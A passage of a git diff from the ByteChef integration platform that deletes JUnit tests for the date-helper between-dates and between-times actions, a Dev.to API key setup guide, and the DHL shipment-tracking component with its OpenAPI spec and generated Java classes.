-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Nikolina Spehar
- */
-class DateHelperIsBetweenDatesActionTest {
-
-    private boolean run(
-        LocalDateTime date, LocalDateTime startDate, LocalDateTime endDate, boolean inclusive, String resolution) {
-
-        Parameters mockedParameters = MockParametersFactory.create(
-            Map.of(DATE, date, DATE_A, startDate, DATE_B, endDate, INCLUSIVE, inclusive, RESOLUTION, resolution));
-
-        return DateHelperIsBetweenDatesAction.perform(mockedParameters, null, null);
-    }
-
-    @Test
-    void testPerformDateInMiddleOfRangeExclusiveDay() {
-        LocalDateTime startDate = LocalDateTime.of(2024, 1, 1, 0, 0, 0);
-        LocalDateTime date = LocalDateTime.of(2024, 1, 15, 12, 0, 0);
-        LocalDateTime endDate = LocalDateTime.of(2024, 1, 31, 23, 59, 59);
-
-        assertTrue(run(date, startDate, endDate, false, DAY));
-    }
-
-    @Test
-    void testPerformDateInMiddleOfRangeInclusiveDay() {
-        LocalDateTime startDate = LocalDateTime.of(2024, 1, 1, 0, 0, 0);
-        LocalDateTime date = LocalDateTime.of(2024, 1, 15, 12, 0, 0);
-        LocalDateTime endDate = LocalDateTime.of(2024, 1, 31, 23, 59, 59);
-
-        assertTrue(run(date, startDate, endDate, true, DAY));
-    }
-
-    @Test
-    void testPerformDateBeforeRange() {
-        LocalDateTime startDate = LocalDateTime.of(2024, 1, 10, 0, 0, 0);
-        LocalDateTime date = LocalDateTime.of(2024, 1, 5, 12, 0, 0);
-        LocalDateTime endDate = LocalDateTime.of(2024, 1, 20, 0, 0, 0);
-
-        assertFalse(run(date, startDate, endDate, false, DAY));
-        assertFalse(run(date, startDate, endDate, true, DAY));
-    }
-
-    @Test
-    void testPerformDateAfterRange() {
-        LocalDateTime startDate = LocalDateTime.of(2024, 1, 1, 0, 0, 0);
-        LocalDateTime date = LocalDateTime.of(2024, 1, 25, 12, 0, 0);
-        LocalDateTime endDate = LocalDateTime.of(2024, 1, 20, 0, 0, 0);
-
-        assertFalse(run(date, startDate, endDate, false, DAY));
-        assertFalse(run(date, startDate, endDate, true, DAY));
-    }
-
-    @Test
-    void testPerformDateEqualsStartDateExclusive() {
-        LocalDateTime startDate = LocalDateTime.of(2024, 1, 10, 12, 0, 0);
-        LocalDateTime date = LocalDateTime.of(2024, 1, 10, 12, 0, 0);
-        LocalDateTime endDate = LocalDateTime.of(2024, 1, 20, 12, 0, 0);
-
-        assertFalse(run(date, startDate, endDate, false, SECOND));
-    }
-
-    @Test
-    void testPerformDateEqualsStartDateInclusive() {
-        LocalDateTime startDate = LocalDateTime.of(2024, 1, 10, 12, 0, 0);
-        LocalDateTime date = LocalDateTime.of(2024, 1, 10, 12, 0, 0);
-        LocalDateTime endDate = LocalDateTime.of(2024, 1, 20, 12, 0, 0);
-
-        assertTrue(run(date, startDate, endDate, true, SECOND));
-    }
-
-    @Test
-    void testPerformDateEqualsEndDateExclusive() {
-        LocalDateTime startDate = LocalDateTime.of(2024, 1, 1, 12, 0, 0);
-        LocalDateTime date = LocalDateTime.of(2024, 1, 20, 12, 0, 0);
-        LocalDateTime endDate = LocalDateTime.of(2024, 1, 20, 12, 0, 0);
-
-        assertFalse(run(date, startDate, endDate, false, SECOND));
-    }
-
-    @Test
-    void testPerformDateEqualsEndDateInclusive() {
-        LocalDateTime startDate = LocalDateTime.of(2024, 1, 1, 12, 0, 0);
-        LocalDateTime date = LocalDateTime.of(2024, 1, 20, 12, 0, 0);
-        LocalDateTime endDate = LocalDateTime.of(2024, 1, 20, 12, 0, 0);
-
-        assertTrue(run(date, startDate, endDate, true, SECOND));
-    }
-
-    @Test
-    void testPerformResolutionYear() {
-        LocalDateTime startDate = LocalDateTime.of(2020, 1, 1, 0, 0, 0);
-        LocalDateTime date = LocalDateTime.of(2022, 6, 15, 12, 30, 0);
-        LocalDateTime endDate = LocalDateTime.of(2025, 12, 31, 23, 59, 59);
-
-        assertTrue(run(date, startDate, endDate, false, YEAR));
-    }
-
-    @Test
-    void testPerformResolutionYearSameYear() {
-        LocalDateTime startDate = LocalDateTime.of(2024, 1, 1, 0, 0, 0);
-        LocalDateTime date = LocalDateTime.of(2024, 6, 15, 12, 0, 0);
-        LocalDateTime endDate = LocalDateTime.of(2024, 12, 31, 23, 59, 59);
-
-        assertTrue(run(date, startDate, endDate, true, YEAR));
-    }
-
-    @Test
-    void testPerformResolutionMonth() {
-        LocalDateTime startDate = LocalDateTime.of(2024, 1, 1, 0, 0, 0);
-        LocalDateTime date = LocalDateTime.of(2024, 3, 15, 12, 0, 0);
-        LocalDateTime endDate = LocalDateTime.of(2024, 5, 31, 23, 59, 59);
-
-        assertTrue(run(date, startDate, endDate, false, MONTH));
-    }
-
-    @Test
-    void testPerformResolutionMonthSameMonth() {
-        LocalDateTime startDate = LocalDateTime.of(2024, 5, 1, 0, 0, 0);
-        LocalDateTime date = LocalDateTime.of(2024, 5, 15, 12, 0, 0);
-        LocalDateTime endDate = LocalDateTime.of(2024, 5, 31, 23, 59, 59);
-
-        assertTrue(run(date, startDate, endDate, true, MONTH));
-    }
-
-    @Test
-    void testPerformResolutionDay() {
-        LocalDateTime startDate = LocalDateTime.of(2024, 1, 10, 0, 0, 0);
-        LocalDateTime date = LocalDateTime.of(2024, 1, 15, 12, 0, 0);
-        LocalDateTime endDate = LocalDateTime.of(2024, 1, 20, 0, 0, 0);
-
-        assertTrue(run(date, startDate, endDate, false, DAY));
-    }
-
-    @Test
-    void testPerformResolutionDaySameDay() {
-        LocalDateTime startDate = LocalDateTime.of(2024, 1, 15, 0, 0, 0);
-        LocalDateTime date = LocalDateTime.of(2024, 1, 15, 12, 0, 0);
-        LocalDateTime endDate = LocalDateTime.of(2024, 1, 15, 23, 59, 59);
-
-        assertTrue(run(date, startDate, endDate, true, DAY));
-    }
-
-    @Test
-    void testPerformResolutionHour() {
-        LocalDateTime startDate = LocalDateTime.of(2024, 1, 15, 10, 0, 0);
-        LocalDateTime date = LocalDateTime.of(2024, 1, 15, 12, 30, 0);
-        LocalDateTime endDate = LocalDateTime.of(2024, 1, 15, 15, 0, 0);
-
-        assertTrue(run(date, startDate, endDate, false, HOUR));
-    }
-
-    @Test
-    void testPerformResolutionHourSameHour() {
-        LocalDateTime startDate = LocalDateTime.of(2024, 1, 15, 12, 0, 0);
-        LocalDateTime date = LocalDateTime.of(2024, 1, 15, 12, 30, 0);
-        LocalDateTime endDate = LocalDateTime.of(2024, 1, 15, 12, 59, 59);
-
-        assertTrue(run(date, startDate, endDate, true, HOUR));
-    }
-
-    @Test
-    void testPerformResolutionMinute() {
-        LocalDateTime startDate = LocalDateTime.of(2024, 1, 15, 12, 10, 0);
-        LocalDateTime date = LocalDateTime.of(2024, 1, 15, 12, 15, 30);
-        LocalDateTime endDate = LocalDateTime.of(2024, 1, 15, 12, 20, 0);
-
-        assertTrue(run(date, startDate, endDate, false, MINUTE));
-    }
-
-    @Test
-    void testPerformResolutionMinuteSameMinute() {
-        LocalDateTime startDate = LocalDateTime.of(2024, 1, 15, 12, 15, 0);
-        LocalDateTime date = LocalDateTime.of(2024, 1, 15, 12, 15, 30);
-        LocalDateTime endDate = LocalDateTime.of(2024, 1, 15, 12, 15, 59);
-
-        assertTrue(run(date, startDate, endDate, true, MINUTE));
-    }
-
-    @Test
-    void testPerformResolutionSecond() {
-        LocalDateTime startDate = LocalDateTime.of(2024, 1, 15, 12, 15, 10);
-        LocalDateTime date = LocalDateTime.of(2024, 1, 15, 12, 15, 15);
-        LocalDateTime endDate = LocalDateTime.of(2024, 1, 15, 12, 15, 20);
-
-        assertTrue(run(date, startDate, endDate, false, SECOND));
-    }
-
-    @Test
-    void testPerformResolutionSecondSameSecond() {
-        LocalDateTime startDate = LocalDateTime.of(2024, 1, 15, 12, 15, 15);
-        LocalDateTime date = LocalDateTime.of(2024, 1, 15, 12, 15, 15, 500000000);
-        LocalDateTime endDate = LocalDateTime.of(2024, 1, 15, 12, 15, 15, 999999999);
-
-        assertTrue(run(date, startDate, endDate, true, SECOND));
-    }
-
-    @Test
-    void testPerformResolutionDayDifferentTimes() {
-        LocalDateTime startDate = LocalDateTime.of(2024, 1, 15, 8, 0, 0);
-        LocalDateTime date = LocalDateTime.of(2024, 1, 15, 23, 0, 0);
-        LocalDateTime endDate = LocalDateTime.of(2024, 1, 15, 10, 0, 0);
-
-        assertTrue(run(date, startDate, endDate, true, DAY));
-    }
-
-    @Test
-    void testPerformDateOnStartBoundaryDayResolution() {
-        LocalDateTime startDate = LocalDateTime.of(2024, 1, 10, 14, 30, 0);
-        LocalDateTime date = LocalDateTime.of(2024, 1, 10, 8, 0, 0);
-        LocalDateTime endDate = LocalDateTime.of(2024, 1, 20, 18, 0, 0);
-
-        assertFalse(run(date, startDate, endDate, false, DAY));
-        assertTrue(run(date, startDate, endDate, true, DAY));
-    }
-
-    @Test
-    void testPerformDateOnEndBoundaryDayResolution() {
-        LocalDateTime startDate = LocalDateTime.of(2024, 1, 1, 8, 0, 0);
-        LocalDateTime date = LocalDateTime.of(2024, 1, 20, 22, 0, 0);
-        LocalDateTime endDate = LocalDateTime.of(2024, 1, 20, 18, 0, 0);
-
-        assertFalse(run(date, startDate, endDate, false, DAY));
-        assertTrue(run(date, startDate, endDate, true, DAY));
-    }
-
-    @Test
-    void testPerformInvalidRangeStartAfterEnd() {
-        LocalDateTime startDate = LocalDateTime.of(2024, 1, 20, 0, 0, 0);
-        LocalDateTime date = LocalDateTime.of(2024, 1, 15, 12, 0, 0);
-        LocalDateTime endDate = LocalDateTime.of(2024, 1, 10, 0, 0, 0);
-
-        assertFalse(run(date, startDate, endDate, false, DAY));
-        assertFalse(run(date, startDate, endDate, true, DAY));
-    }
-
-    @Test
-    void testPerformCrossingYearBoundaryWithYearResolution() {
-        LocalDateTime startDate = LocalDateTime.of(2023, 1, 1, 0, 0, 0);
-        LocalDateTime date = LocalDateTime.of(2024, 6, 15, 12, 0, 0);
-        LocalDateTime endDate = LocalDateTime.of(2025, 12, 31, 23, 59, 59);
-
-        assertTrue(run(date, startDate, endDate, false, YEAR));
-    }
-
-    @Test
-    void testPerformCrossingMonthBoundaryWithMonthResolution() {
-        LocalDateTime startDate = LocalDateTime.of(2024, 1, 15, 0, 0, 0);
-        LocalDateTime date = LocalDateTime.of(2024, 2, 10, 12, 0, 0);
-        LocalDateTime endDate = LocalDateTime.of(2024, 3, 20, 23, 59, 59);
-
-        assertTrue(run(date, startDate, endDate, false, MONTH));
-    }
-}
diff --git a/server/libs/modules/components/date-helper/src/test/java/com/bytechef/component/date/helper/action/DateHelperIsBetweenTimesActionTest.java b/server/libs/modules/components/date-helper/src/test/java/com/bytechef/component/date/helper/action/DateHelperIsBetweenTimesActionTest.java
deleted file mode 100644
index 165e6e03c43..00000000000
--- a/server/libs/modules/components/date-helper/src/test/java/com/bytechef/component/date/helper/action/DateHelperIsBetweenTimesActionTest.java
+++ /dev/null
@@ -1,241 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.date.helper.action;
-
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.DATE;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.INCLUSIVE;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.INCLUSIVE_SECONDS;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.TIME_A;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.TIME_B;
-import static org.junit.jupiter.api.Assertions.assertFalse;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.time.LocalDateTime;
-import java.time.LocalTime;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Nikolina Spehar
- */
-class DateHelperIsBetweenTimesActionTest {
-
-    private boolean run(
-        LocalDateTime datetime, LocalTime startTime, LocalTime endTime, boolean inclusiveSeconds, boolean inclusive) {
-
-        Parameters mockedParameters = MockParametersFactory.create(
-            Map.of(
-                DATE, datetime, TIME_A, startTime, TIME_B, endTime, INCLUSIVE_SECONDS, inclusiveSeconds, INCLUSIVE,
-                inclusive));
-
-        return DateHelperIsBetweenTimesAction.perform(mockedParameters, null, null);
-    }
-
-    @Test
-    void testPerformTimeInMiddleOfRange() {
-        LocalDateTime datetime = LocalDateTime.of(2023, 5, 15, 14, 30, 0);
-        LocalTime startTime = LocalTime.of(9, 0, 0);
-        LocalTime endTime = LocalTime.of(18, 0, 0);
-
-        assertTrue(run(datetime, startTime, endTime, true, true));
-    }
-
-    @Test
-    void testPerformTimeBeforeRange() {
-        LocalDateTime datetime = LocalDateTime.of(2023, 5, 15, 8, 30, 0);
-        LocalTime startTime = LocalTime.of(9, 0, 0);
-        LocalTime endTime = LocalTime.of(18, 0, 0);
-
-        assertFalse(run(datetime, startTime, endTime, true, true));
-    }
-
-    @Test
-    void testPerformTimeAfterRange() {
-        LocalDateTime datetime = LocalDateTime.of(2023, 5, 15, 19, 30, 0);
-        LocalTime startTime = LocalTime.of(9, 0, 0);
-        LocalTime endTime = LocalTime.of(18, 0, 0);
-
-        assertFalse(run(datetime, startTime, endTime, true, true));
-    }
-
-    @Test
-    void testPerformTimeEqualsStartInclusive() {
-        LocalDateTime datetime = LocalDateTime.of(2023, 5, 15, 9, 0, 0);
-        LocalTime startTime = LocalTime.of(9, 0, 0);
-        LocalTime endTime = LocalTime.of(18, 0, 0);
-
-        assertTrue(run(datetime, startTime, endTime, true, true));
-    }
-
-    @Test
-    void testPerformTimeEqualsStartExclusive() {
-        LocalDateTime datetime = LocalDateTime.of(2023, 5, 15, 9, 0, 0);
-        LocalTime startTime = LocalTime.of(9, 0, 0);
-        LocalTime endTime = LocalTime.of(18, 0, 0);
-
-        assertFalse(run(datetime, startTime, endTime, true, false));
-    }
-
-    @Test
-    void testPerformTimeEqualsEndInclusive() {
-        LocalDateTime datetime = LocalDateTime.of(2023, 5, 15, 18, 0, 0);
-        LocalTime startTime = LocalTime.of(9, 0, 0);
-        LocalTime endTime = LocalTime.of(18, 0, 0);
-
-        assertTrue(run(datetime, startTime, endTime, true, true));
-    }
-
-    @Test
-    void testPerformTimeEqualsEndExclusive() {
-        LocalDateTime datetime = LocalDateTime.of(2023, 5, 15, 18, 0, 0);
-        LocalTime startTime = LocalTime.of(9, 0, 0);
-        LocalTime endTime = LocalTime.of(18, 0, 0);
-
-        assertFalse(run(datetime, startTime, endTime, true, false));
-    }
-
-    @Test
-    void testPerformWithSecondsIncluded() {
-        LocalDateTime datetime = LocalDateTime.of(2023, 5, 15, 14, 30, 45);
-        LocalTime startTime = LocalTime.of(14, 30, 0);
-        LocalTime endTime = LocalTime.of(14, 30, 0);
-
-        assertFalse(run(datetime, startTime, endTime, true, true));
-    }
-
-    @Test
-    void testPerformWithSecondsIgnored() {
-        LocalDateTime datetime = LocalDateTime.of(2023, 5, 15, 14, 30, 45);
-        LocalTime startTime = LocalTime.of(14, 30, 0);
-        LocalTime endTime = LocalTime.of(14, 31, 0);
-
-        assertTrue(run(datetime, startTime, endTime, false, true));
-    }
-
-    @Test
-    void testPerformWithSecondsIgnoredSameMinute() {
-        LocalDateTime datetime = LocalDateTime.of(2023, 5, 15, 14, 30, 59);
-        LocalTime startTime = LocalTime.of(14, 30, 0);
-        LocalTime endTime = LocalTime.of(14, 30, 0);
-
-        assertTrue(run(datetime, startTime, endTime, false, true));
-    }
-
-    @Test
-    void testPerformRangeCrossingMidnight() {
-        LocalDateTime datetime = LocalDateTime.of(2023, 5, 15, 2, 30, 0);
-        LocalTime startTime = LocalTime.of(22, 0, 0);
-        LocalTime endTime = LocalTime.of(6, 0, 0);
-
-        assertTrue(run(datetime, startTime, endTime, true, true));
-    }
-
-    @Test
-    void testPerformRangeCrossingMidnightBeforeStart() {
-        LocalDateTime datetime = LocalDateTime.of(2023, 5, 15, 21, 30, 0);
-        LocalTime startTime = LocalTime.of(22, 0, 0);
-        LocalTime endTime = LocalTime.of(6, 0, 0);
-
-        assertFalse(run(datetime, startTime, endTime, true, true));
-    }
-
-    @Test
-    void testPerformRangeCrossingMidnightAfterEnd() {
-        LocalDateTime datetime = LocalDateTime.of(2023, 5, 15, 7, 30, 0);
-        LocalTime startTime = LocalTime.of(22, 0, 0);
-        LocalTime endTime = LocalTime.of(6, 0, 0);
-
-        assertFalse(run(datetime, startTime, endTime, true, true));
-    }
-
-    @Test
-    void testPerformDifferentTimezoneUTC() {
-        LocalDateTime datetime = LocalDateTime.of(2023, 5, 15, 14, 30, 0);
-        LocalTime startTime = LocalTime.of(9, 0, 0);
-        LocalTime endTime = LocalTime.of(18, 0, 0);
-
-        assertTrue(run(datetime, startTime, endTime, true, true));
-    }
-
-    @Test
-    void testPerformDifferentTimezoneEurope() {
-        LocalDateTime datetime = LocalDateTime.of(2023, 5, 15, 14, 30, 0);
-        LocalTime startTime = LocalTime.of(9, 0, 0);
-        LocalTime endTime = LocalTime.of(18, 0, 0);
-
-        assertTrue(run(datetime, startTime, endTime, true, true));
-    }
-
-    @Test
-    void testPerformIgnoresDatePart() {
-        LocalDateTime datetime1 = LocalDateTime.of(2020, 1, 1, 14, 30, 0);
-        LocalDateTime datetime2 = LocalDateTime.of(2025, 12, 31, 14, 30, 0);
-        LocalTime startTime = LocalTime.of(9, 0, 0);
-        LocalTime endTime = LocalTime.of(18, 0, 0);
-
-        assertTrue(run(datetime1, startTime, endTime, true, true));
-        assertTrue(run(datetime2, startTime, endTime, true, true));
-    }
-
-    @Test
-    void testPerformOneSecondBeforeEndInclusive() {
-        LocalDateTime datetime = LocalDateTime.of(2023, 5, 15, 17, 59, 59);
-        LocalTime startTime = LocalTime.of(9, 0, 0);
-        LocalTime endTime = LocalTime.of(18, 0, 0);
-
-        assertTrue(run(datetime, startTime, endTime, true, true));
-    }
-
-    @Test
-    void testPerformOneSecondAfterStart() {
-        LocalDateTime datetime = LocalDateTime.of(2023, 5, 15, 9, 0, 1);
-        LocalTime startTime = LocalTime.of(9, 0, 0);
-        LocalTime endTime = LocalTime.of(18, 0, 0);
-
-        assertTrue(run(datetime, startTime, endTime, true, false));
-    }
-
-    @Test
-    void testPerformMidnightTime() {
-        LocalDateTime datetime = LocalDateTime.of(2023, 5, 15, 0, 0, 0);
-        LocalTime startTime = LocalTime.of(0, 0, 0);
-        LocalTime endTime = LocalTime.of(23, 59, 59);
-
-        assertTrue(run(datetime, startTime, endTime, true, true));
-    }
-
-    @Test
-    void testPerformVeryShortTimeRange() {
-        LocalDateTime datetime = LocalDateTime.of(2023, 5, 15, 12, 0, 30);
-        LocalTime startTime = LocalTime.of(12, 0, 0);
-        LocalTime endTime = LocalTime.of(12, 1, 0);
-
-        assertTrue(run(datetime, startTime, endTime, true, true));
-    }
-
-    @Test
-    void testPerformExactMidnightCrossing() {
-        LocalDateTime datetime = LocalDateTime.of(2023, 5, 15, 0, 0, 0);
-
-        LocalTime startTime = LocalTime.of(22, 0, 0);
-        LocalTime endTime = LocalTime.of(6, 0, 0);
-
-        assertTrue(run(datetime, startTime, endTime, true, true));
-    }
-}
diff --git a/server/libs/modules/components/devto/src/main/resources/connection.mdx b/server/libs/modules/components/devto/src/main/resources/connection.mdx
deleted file mode 100644
index 6b1dc8d0949..00000000000
--- a/server/libs/modules/components/devto/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,30 +0,0 @@
-## Connection Setup
-
-Follow these steps to generate a Dev.to API Key and configure the ByteChef connection.
-
-Prerequisites:
-- You have an active account at [dev.to](https://dev.to/)
-
-Steps to generate an API Key on Dev.to:
-1. Log in to your [dev.to](https://dev.to/) account.
-2. Open Settings: click your avatar (top‑right) → Settings, or go directly to [https://dev.to/settings](https://dev.to/settings).
-3. In the left sidebar, select **Extensions**, or go directly to [https://dev.to/settings/extensions](https://dev.to/settings/extensions).
-4. Scroll to the section **DEV Community API Keys**.
-5. Enter a description/name for the key and click **Generate API Key**.
-6. A dropdown will appear under the button. Expand it to reveal your new API key.
-7. Copy the API key and store it securely. You can revoke it at any time from the same page.
-
-Configure the ByteChef Dev.to connection:
-1. In ByteChef, create a new Dev.to connection.
-2. Paste the API key into the "API Key" field.
-3. Save the connection. ByteChef will use this key by sending it in the `api-key` HTTP header to `https://dev.to/api`.
-
-Notes and troubleshooting:
-- Treat the API key like a password. Do not share it or commit it to source control.
-- If you receive 401 Unauthorized errors, verify that the key is correct and has not been revoked.
-- You can create multiple keys (e.g., for different environments) and revoke them individually.
-- Dev.to API reference and authentication details: https://developers.forem.com/api/#section/Authentication
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.05219207% + 32px)'}}>
-<iframe src="https://www.guidejar.com/embed/N8M9MauluTHM73YQD0u8?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/dhl/openapi.yaml b/server/libs/modules/components/dhl/openapi.yaml
deleted file mode 100644
index 22edd4fd82a..00000000000
--- a/server/libs/modules/components/dhl/openapi.yaml
+++ /dev/null
@@ -1,72 +0,0 @@
-openapi: 3.0.3
-info:
-  title: "DHL"
-  version: "v1"
-  description: "DHL is the global leader in the logistics industry. Specializing in international shipping, courier services and transportation."
-servers:
-  - url: "https://api-eu.dhl.com"
-paths:
-  /track/shipments:
-    get:
-      summary: "Track Shipment"
-      description: "Retrieves the tracking information for shipments."
-      operationId: "trackShipment"
-      x-ai-agent-tool: true
-      parameters:
-        - name: "trackingNumber"
-          description: "The tracking number of the shipment for which to return the information."
-          in: "query"
-          required: true
-          schema:
-            title: "Tracking Number"
-            type: "string"
-      responses:
-        201:
-          description: "Shipment"
-          content:
-            application/json:
-              schema:
-                $ref: '#/components/schemas/TrackingShipments'
-components:
-  securitySchemes:
-    api-key:
-      type: "apiKey"
-      name: "DHL-API-Key"
-      in: "header"
-      x-title: "API Key"
-  schemas:
-    TrackingShipments:
-      description: "Unified tracking response object."
-      type: object
-      properties:
-        url:
-          description: "A link to current page."
-          type: string
-          format: uri
-        prevUrl:
-          description: "A link to the previous page."
-          type: string
-          format: uri
-        nextUrl:
-          description: "A link to the next page."
-          type: string
-          format: uri
-        firstUrl:
-          description: "A link to the first page."
-          type: string
-          format: uri
-        lastUrl:
-          description: "A link to the last page."
-          type: string
-          format: uri
-        shipments:
-          description: "An array of unified tracking shipments."
-          type: array
-          items:
-            $ref: '#/components/schemas/TrackingShipments'
-        possibleAdditionalShipmentsUrl:
-          description: "An array of business services, where should be potentially shipment found."
-          type: array
-          items:
-            type: string
-            format: uri
diff --git a/server/libs/modules/components/dhl/src/main/java/com/bytechef/component/dhl/AbstractDhlComponentHandler.java b/server/libs/modules/components/dhl/src/main/java/com/bytechef/component/dhl/AbstractDhlComponentHandler.java
deleted file mode 100644
index 344e91a5e71..00000000000
--- a/server/libs/modules/components/dhl/src/main/java/com/bytechef/component/dhl/AbstractDhlComponentHandler.java
+++ /dev/null
@@ -1,47 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.dhl;
-
-import static com.bytechef.component.definition.ComponentDsl.component;
-import static com.bytechef.component.definition.ComponentDsl.tool;
-
-import com.bytechef.component.OpenApiComponentHandler;
-import com.bytechef.component.definition.ComponentDefinition;
-import com.bytechef.component.dhl.action.DhlTrackShipmentAction;
-import com.bytechef.component.dhl.connection.DhlConnection;
-
-/**
- * Provides the base implementation for the REST based component.
- *
- * @generated
- */
-public abstract class AbstractDhlComponentHandler implements OpenApiComponentHandler {
-    private final ComponentDefinition componentDefinition = modifyComponent(
-        component("dhl")
-            .title("DHL")
-            .description(
-                "DHL is the global leader in the logistics industry. Specializing in international shipping, courier services and transportation."))
-                    .actions(modifyActions(DhlTrackShipmentAction.ACTION_DEFINITION))
-                    .connection(modifyConnection(DhlConnection.CONNECTION_DEFINITION))
-                    .clusterElements(modifyClusterElements(tool(DhlTrackShipmentAction.ACTION_DEFINITION)))
-                    .triggers(getTriggers());
-
-    @Override
-    public ComponentDefinition getDefinition() {
-        return componentDefinition;
-    }
-}
diff --git a/server/libs/modules/components/dhl/src/main/java/com/bytechef/component/dhl/DhlComponentHandler.java b/server/libs/modules/components/dhl/src/main/java/com/bytechef/component/dhl/DhlComponentHandler.java
deleted file mode 100644
index 65aff62913f..00000000000
--- a/server/libs/modules/components/dhl/src/main/java/com/bytechef/component/dhl/DhlComponentHandler.java
+++ /dev/null
@@ -1,46 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.dhl;
-
-import com.bytechef.component.OpenApiComponentHandler;
-import com.bytechef.component.definition.ComponentCategory;
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.ComponentDsl.ModifiableComponentDefinition;
-import com.google.auto.service.AutoService;
-
-/**
- * @author Nikolina Špehar
- */
-@AutoService(OpenApiComponentHandler.class)
-public class DhlComponentHandler extends AbstractDhlComponentHandler {
-
-    @Override
-    public ModifiableComponentDefinition modifyComponent(ModifiableComponentDefinition modifiableComponentDefinition) {
-        return modifiableComponentDefinition
-            .customAction(true)
-            .icon("path:assets/dhl.svg")
-            .categories(ComponentCategory.CUSTOMER_SUPPORT)
-            .customActionHelp("DHL Developer documentation", "https://developer.dhl.com/")
-            .version(1);
-    }
-
-    @Override
-    public ModifiableActionDefinition modifyAction(ModifiableActionDefinition modifiableActionDefinition) {
-        return modifiableActionDefinition
-            .help("", "https://docs.bytechef.io/reference/components/dhl_v1#track-shipment");
-    }
-}
diff --git a/server/libs/modules/components/dhl/src/main/java/com/bytechef/component/dhl/action/DhlTrackShipmentAction.java b/server/libs/modules/components/dhl/src/main/java/com/bytechef/component/dhl/action/DhlTrackShipmentAction.java
deleted file mode 100644
index 35f82d6afb4..00000000000
--- a/server/libs/modules/components/dhl/src/main/java/com/bytechef/component/dhl/action/DhlTrackShipmentAction.java
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.dhl.action;
-
-import static com.bytechef.component.OpenApiComponentHandler.PropertyType;
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.object;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.definition.Context.Http.ResponseType;
-
-import com.bytechef.component.definition.ComponentDsl;
-import com.bytechef.component.dhl.property.DhlTrackingShipmentsProperties;
-import java.util.Map;
-
-/**
- * Provides a list of the component actions.
- *
- * @generated
- */
-public class DhlTrackShipmentAction {
-    public static final ComponentDsl.ModifiableActionDefinition ACTION_DEFINITION = action("trackShipment")
-        .title("Track Shipment")
-        .description("Retrieves the tracking information for shipments.")
-        .metadata(
-            Map.of(
-                "method", "GET",
-                "path", "/track/shipments"
-
-            ))
-        .properties(string("trackingNumber").label("Tracking Number")
-            .description("The tracking number of the shipment for which to return the information.")
-            .required(true)
-            .metadata(
-                Map.of(
-                    "type", PropertyType.QUERY)))
-        .output(outputSchema(object().properties(DhlTrackingShipmentsProperties.PROPERTIES)
-            .description("Unified tracking response object.")
-            .metadata(
-                Map.of(
-                    "responseType", ResponseType.JSON))));
-
-    private DhlTrackShipmentAction() {
-    }
-}
diff --git a/server/libs/modules/components/dhl/src/main/java/com/bytechef/component/dhl/connection/DhlConnection.java b/server/libs/modules/components/dhl/src/main/java/com/bytechef/component/dhl/connection/DhlConnection.java
deleted file mode 100644
index 97da4a4f19a..00000000000
--- a/server/libs/modules/components/dhl/src/main/java/com/bytechef/component/dhl/connection/DhlConnection.java
+++ /dev/null
@@ -1,52 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
